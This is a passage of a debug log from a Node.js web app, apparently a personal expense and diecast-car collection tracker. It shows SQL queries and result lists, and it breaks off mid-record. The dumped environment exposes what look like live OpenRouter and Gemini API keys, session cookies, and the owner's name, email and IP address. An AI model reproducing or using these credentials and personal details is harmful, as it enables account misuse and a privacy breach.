2026-02-12T13:31:41.554Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-12T13:31:41.554Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-12T13:31:41.554Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-12T13:31:41.554Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-12T13:31:41.555Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-12T13:31:41.555Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-12T13:31:41.555Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-12T13:31:41.555Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-12T13:31:41.555Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-12T13:31:41.556Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-12T13:31:41.556Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-12T13:31:41.677Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:31:41.680Z server-connect:app Executing action step identify
2026-02-12T13:31:41.680Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:41.682Z server-connect:output identity: 1
2026-02-12T13:31:41.682Z server-connect:app Executing action step restrict
2026-02-12T13:31:41.682Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:31:41.684Z server-connect:output restrict: undefined
2026-02-12T13:31:41.684Z server-connect:router Render template layouts/main
2026-02-12T13:31:41.684Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e0f-y8TCL47kJPvVEC9pLeJfXHrNBWs"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e0f-y8TCL47kJPvVEC9pLeJfXHrNBWs"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:31:42.236Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:31:42.242Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:31:42.244Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:42.245Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:42.246Z server-connect:app Executing action step identify
2026-02-12T13:31:42.246Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.246Z server-connect:output identity: 1
2026-02-12T13:31:42.246Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.246Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.247Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:31:42.248Z server-connect:output restrict: undefined
2026-02-12T13:31:42.249Z server-connect:app Executing action step select
2026-02-12T13:31:42.249Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:31:42.251Z server-connect:app Executing action step identify
2026-02-12T13:31:42.251Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.251Z server-connect:output identity: 1
2026-02-12T13:31:42.251Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.252Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:31:42.253Z server-connect:app Executing action step identify
2026-02-12T13:31:42.253Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.253Z server-connect:output identity: 1
2026-02-12T13:31:42.253Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.253Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.253Z server-connect:output restrict: undefined
2026-02-12T13:31:42.253Z server-connect:app Executing action step single
2026-02-12T13:31:42.253Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:31:42.254Z server-connect:app Executing action step identify
2026-02-12T13:31:42.254Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.254Z server-connect:output identity: 1
2026-02-12T13:31:42.255Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.255Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.258Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:31:42.259Z server-connect:app Executing action step identify
2026-02-12T13:31:42.259Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.260Z server-connect:output identity: 1
2026-02-12T13:31:42.260Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.260Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.261Z server-connect:output restrict: undefined
2026-02-12T13:31:42.261Z server-connect:app Executing action step select
2026-02-12T13:31:42.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:42.263Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:31:42.264Z server-connect:app Executing action step identify
2026-02-12T13:31:42.264Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.264Z server-connect:output identity: 1
2026-02-12T13:31:42.264Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.264Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.265Z server-connect:output restrict: undefined
2026-02-12T13:31:42.265Z server-connect:app Executing action step select
2026-02-12T13:31:42.265Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:42.266Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:31:42.268Z server-connect:output restrict: undefined
2026-02-12T13:31:42.268Z server-connect:app Executing action step paged
2026-02-12T13:31:42.268Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:31:42.271Z server-connect:output restrict: undefined
2026-02-12T13:31:42.271Z server-connect:app Executing action step select
2026-02-12T13:31:42.271Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:31:42.272Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:31:42.274Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:31:42.277Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:31:42.280Z server-connect:app Executing action step identify
2026-02-12T13:31:42.280Z server-connect:app options: { provider: 'security' }
2026-02-12T13:31:42.280Z server-connect:output identity: 1
2026-02-12T13:31:42.280Z server-connect:app Executing action step restrict
2026-02-12T13:31:42.280Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:31:42.282Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
